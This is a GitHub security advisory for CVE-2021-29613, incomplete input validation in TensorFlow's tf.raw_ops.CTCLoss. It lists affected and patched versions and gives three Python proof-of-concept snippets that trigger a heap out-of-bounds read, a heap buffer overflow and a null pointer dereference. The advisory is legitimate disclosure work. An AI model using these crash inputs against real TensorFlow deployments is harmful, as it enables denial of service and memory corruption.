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GHSA-vvg4-vgrv-xfr7

Incomplete validation in `tf.raw_ops.CTCLoss`

Source: GitHub Advisory Database (reviewed) Moderate CVE-2021-29613

Packages

EcosystemPackageAffectedFixed in
PyPI tensorflow < 2.1.4 2.1.4
PyPI tensorflow >= 2.2.0, < 2.2.3 2.2.3
PyPI tensorflow >= 2.3.0, < 2.3.3 2.3.3
PyPI tensorflow >= 2.4.0, < 2.4.2 2.4.2
PyPI tensorflow-cpu < 2.1.4 2.1.4
PyPI tensorflow-cpu >= 2.2.0, < 2.2.3 2.2.3
PyPI tensorflow-cpu >= 2.3.0, < 2.3.3 2.3.3
PyPI tensorflow-cpu >= 2.4.0, < 2.4.2 2.4.2
PyPI tensorflow-gpu < 2.1.4 2.1.4
PyPI tensorflow-gpu >= 2.2.0, < 2.2.3 2.2.3
PyPI tensorflow-gpu >= 2.3.0, < 2.3.3 2.3.3
PyPI tensorflow-gpu >= 2.4.0, < 2.4.2 2.4.2

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact Incomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap: ```python import tensorflow as tf inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ``` An attacker can also trigger a heap buffer overflow: ```python import tensorflow as tf inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` Finally, an attacker can trigger a null pointer dereference: ```python import tensorflow as tf inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32) tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ``` ### Patches We have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References

External links from the advisory. They lead to third-party sites.